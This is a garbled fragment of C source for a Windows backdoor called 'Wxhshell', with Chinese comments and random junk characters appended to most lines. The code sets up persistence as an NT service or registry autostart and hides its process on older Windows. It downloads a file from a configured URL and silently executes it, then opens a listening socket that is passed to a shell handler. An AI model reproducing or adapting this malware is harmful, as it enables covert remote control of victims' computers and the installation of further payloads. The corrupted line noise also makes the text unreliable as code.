PROCNTQSIP NtQueryInformationProcess; o ojiJ~
5(&xNT-n8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uHNpfKnZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A\te*G0:S
8cHE[I
HANDLE hProcess; 3kmeD".
PROCESS_BASIC_INFORMATION pbi; ix Z)tNz
2k#t
.-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [FQ\I-GNC
if(NULL == hInst ) return 0; !NKmx=I]
oN(-rWdhZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5,b]V)4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #G3N(wV3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Gn4asoA
> 7`&0?
if (!NtQueryInformationProcess) return 0; f"&Xr!b.h
#k5#j4!b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }fhHXGK.
if(!hProcess) return 0; 0'$p$K
3}&ZOO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #p
yim_
!d9AG|
CloseHandle(hProcess); 9>,Qgp,w
K^%-NyV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u@FsLHn
if(hProcess==NULL) return 0; ?)3jqQ.
N~,_`=yRx
HMODULE hMod; >Cd9fJ&0gP
char procName[255]; +C7T]&5s
unsigned long cbNeeded; cQpnEO&SL
kReG:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "PpjoM
~
\Mi#{0f+q
CloseHandle(hProcess); #I`ms$j%
iRmQ5ezk
if(strstr(procName,"services")) return 1; // 以服务启动 CBD_a#K{
kRIB<@{
return 0; // 注册表启动 F@YV]u>N
} |;;!8VO3J
s ?l%L!
// 主模块 zREJ#r
int StartWxhshell(LPSTR lpCmdLine) Y9}8M27vQG
{ h5@j`{
SOCKET wsl; Ri?\m!o
BOOL val=TRUE; g{pQ4jKF
int port=0; 6*1$8G`$8,
struct sockaddr_in door; _py2kjA6
0kCQ0xB[a5
if(wscfg.ws_autoins) Install(); J+<p+(^*v
T% CxvZ
port=atoi(lpCmdLine); [5 pCL0<c@
2DMrMmLI
if(port<=0) port=wscfg.ws_port; >mIg@knE
M/jb}*xDR
WSADATA data; =L0fZf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fU*C/ d3
,9/5T: 2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ex($
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6GOcI#C9C
door.sin_family = AF_INET; V;9 }7mw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <lFY7'aY
door.sin_port = htons(port); IKf`[_,t]
)bWrd$X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j.c8}r&
closesocket(wsl); L]zNf71RD
return 1; a20w,
} 4'At.<]jL
8@7AE"
if(listen(wsl,2) == INVALID_SOCKET) { q9}2
closesocket(wsl); shi
Hy*(v
return 1; dl/X."iv!
} ;A^K_w'
Wxhshell(wsl); |"}4*V_ *
WSACleanup(); DNth4z
I5pp "*u
return 0; V;[p438o
Lk(S2$)*
} 2bA#D%PHD
mCb 9*|
// 以NT服务方式启动 ~'BUrX\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [n:PNB
{ {
R*Y=Ie
DWORD status = 0; 6/y*2z;
DWORD specificError = 0xfffffff; ZC\mxBy
$Qq_qTJu?G
serviceStatus.dwServiceType = SERVICE_WIN32; 29O]S8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FP;":i RL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yk>8g;<
serviceStatus.dwWin32ExitCode = 0; {,V$*
serviceStatus.dwServiceSpecificExitCode = 0; p5SX1PPQ
serviceStatus.dwCheckPoint = 0; 1KJZWZy
serviceStatus.dwWaitHint = 0; c/$*%J<
me'(lQ6^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w#{l4{X|
if (hServiceStatusHandle==0) return; }GRMZh_8
h;n\*[fDc
status = GetLastError(); Zps&[;R$-
if (status!=NO_ERROR) i]M"Cu*
{ EX 9Z{xX
serviceStatus.dwCurrentState = SERVICE_STOPPED; W'G{K\(/
serviceStatus.dwCheckPoint = 0; ?Y!U*& 7
serviceStatus.dwWaitHint = 0; 2}`R"MeS
serviceStatus.dwWin32ExitCode = status; }1rvM4{/+f
serviceStatus.dwServiceSpecificExitCode = specificError; (n=Aa;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Y!^I2Y6
return; @W [{2d
} i_YW;x
97x%2.\:
serviceStatus.dwCurrentState = SERVICE_RUNNING; )H+h;U
serviceStatus.dwCheckPoint = 0; s-5wbi.C
serviceStatus.dwWaitHint = 0; RO(iHR3cA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t,?,F4j
} z_)`g`($
Sf5]=F-w
// 处理NT服务事件,比如:启动、停止 Hd*Fc=>"Y
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5byeWH0n3
{ }@*I+\W/
switch(fdwControl) pU DO7Q]
{ r9;`
case SERVICE_CONTROL_STOP: |J?:91
serviceStatus.dwWin32ExitCode = 0; C*j9Iaj
serviceStatus.dwCurrentState = SERVICE_STOPPED; FAd``9kRT
serviceStatus.dwCheckPoint = 0; x)\V lR
serviceStatus.dwWaitHint = 0; '{^8_k\}B
{ 5\?3$<1I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g$gS7!u,
} ^teaJ y%
return; k1wr/G'H[
case SERVICE_CONTROL_PAUSE: 9i[4"&K
serviceStatus.dwCurrentState = SERVICE_PAUSED; fn?VNZ`J
break; ??+:vai2
case SERVICE_CONTROL_CONTINUE:
X4
Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; $/.<z(F
break; zg7G^!PU
case SERVICE_CONTROL_INTERROGATE: NY 4C@@"
break; \AJS,QD
}; {0fz9"|U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =?+w)(*0c
} xtsL8-u f
4[(?L{
// 标准应用程序主函数 Xvq^1Y?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n`QO(pZ6+
{ sr4jQo
qhN[Dj(d
// 获取操作系统版本 'oCm.~;_
OsIsNt=GetOsVer(); 2b!j.T#u
GetModuleFileName(NULL,ExeFile,MAX_PATH); *k!(ti[
9c6 '
// 从命令行安装 RCCv>o
if(strpbrk(lpCmdLine,"iI")) Install(); qTS@D
T(&kXMaB
// 下载执行文件 BP:(IP!&
if(wscfg.ws_downexe) { CX.SYr&!R
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y,^";7U
WinExec(wscfg.ws_filenam,SW_HIDE); 1h{>[ 'L
} \"J?@
(`F|nG=X
if(!OsIsNt) { uX98iJ
// 如果时win9x,隐藏进程并且设置为注册表启动 EM=xd~H
HideProc(); UIz:=DJ
StartWxhshell(lpCmdLine); E0T&GR@.
} ?;+ ^
else p}&Md-$1
if(StartFromService()) y]<#%Fh
// 以服务方式启动 Wge ho
StartServiceCtrlDispatcher(DispatchTable); Ia'x]#~
else u8^Y,LN
// 普通方式启动 W?=$V>)
StartWxhshell(lpCmdLine); 7Zo&+
7}A5u,.,ht
return 0; =g >.X9lr
} Pu-p7:99;'
]L$4Py
Hw y5G;
JxnuGkE0[#
=========================================== l:q8Pg)
P3i^S_
"*+\KPCU
8,_ -0_^$
!5?
m
=MCNCV/<
" T!1SMo^
UKOFT6|
#include <stdio.h> +8^5C,V
#include <string.h> 5St`@
#include <windows.h> i,([YsRuou
#include <winsock2.h> )`mbf|,&t{
#include <winsvc.h> {:,_A
#include <urlmon.h> & &